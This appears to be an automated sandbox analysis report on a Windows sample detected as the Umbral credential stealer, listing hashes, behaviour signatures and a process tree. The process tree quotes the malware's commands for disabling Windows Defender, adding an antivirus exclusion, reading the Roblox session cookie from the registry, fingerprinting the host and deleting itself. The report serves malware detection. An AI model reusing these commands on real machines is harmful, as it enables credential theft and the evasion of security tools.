Analysis

  • max time kernel
    26s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    20-09-2024 23:44

General

  • Target

    18a0a32340d190a5b8c803fa84bae012a4a6f8c89ef228a74e40c7edd89b343bN.exe

  • Size

    1.4MB

  • MD5

    ce100b5ae4fe05c8fd8f44f7ad9f4b40

  • SHA1

    19a77380a68da11304c9ba7c1048f7257ba4951f

  • SHA256

    18a0a32340d190a5b8c803fa84bae012a4a6f8c89ef228a74e40c7edd89b343b

  • SHA512

    b19f7cd1b558ef7f598adb84726c94c885696c31efdbd981d07df17b908cb23fd7098b6f8f622d584033b55dba1d264f68a734e60bd81cb5d3f5600a542652ca

  • SSDEEP

    24576:6DiGBKBipGMOU5lRBixlkBg0BLchDLtVVi/FpPwgX2YVC0/xaTO3O:OiGBKBipGMOUXRBi4tuFtjCxB80/xP

Malware Config

Signatures

  • Detect Umbral payload 5 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\18a0a32340d190a5b8c803fa84bae012a4a6f8c89ef228a74e40c7edd89b343bN.exe
    "C:\Users\Admin\AppData\Local\Temp\18a0a32340d190a5b8c803fa84bae012a4a6f8c89ef228a74e40c7edd89b343bN.exe"
    1⤵
    • Drops startup file
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
        PID:2960
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        2⤵
        • Drops file in Drivers directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2896
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1968
        • C:\Windows\SysWOW64\attrib.exe
          "attrib.exe" +h +s "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Views/modifies file attributes
          PID:1164
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1488
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2284
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2776
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2132
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" os get Caption
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1912
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" computersystem get totalphysicalmemory
          3⤵
          • System Location Discovery: System Language Discovery
          PID:288
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2196
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2248
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          3⤵
          • System Location Discovery: System Language Discovery
          • Detects videocard installed
          PID:1772
        • C:\Windows\SysWOW64\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" && pause
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:308
          • C:\Windows\SysWOW64\PING.EXE
            ping localhost
            4⤵
            • System Location Discovery: System Language Discovery
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:1128

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      c8a2229367dd0fd30c04f6f042069b91

      SHA1

      37c6eb0901a40070962f5c57966069822b4b0b76

      SHA256

      b5d340de0712aff612598ba773524d772888b955a452b21f01328c4f42c48ee6

      SHA512

      56424a8dad44defd81ec11f239a2b67619f2f965292be4c287dd78df20e96ae8aa6c1ab9cff2e9dfc1eeafd7662698dafdb4adecc80c5e6d9525faa2dbaaa056

    • memory/2896-8-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

      Filesize

      4KB

    • memory/2896-7-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-4-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-9-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-13-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-11-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-51-0x0000000074300000-0x00000000749EE000-memory.dmp

      Filesize

      6.9MB

    • memory/2896-5-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-6-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/2896-14-0x0000000074300000-0x00000000749EE000-memory.dmp

      Filesize

      6.9MB

    • memory/2896-15-0x0000000074300000-0x00000000749EE000-memory.dmp

      Filesize

      6.9MB

    • memory/2900-3-0x00000000052F0000-0x00000000053A6000-memory.dmp

      Filesize

      728KB

    • memory/2900-1-0x0000000000250000-0x00000000003B0000-memory.dmp

      Filesize

      1.4MB

    • memory/2900-0-0x000000007430E000-0x000000007430F000-memory.dmp

      Filesize

      4KB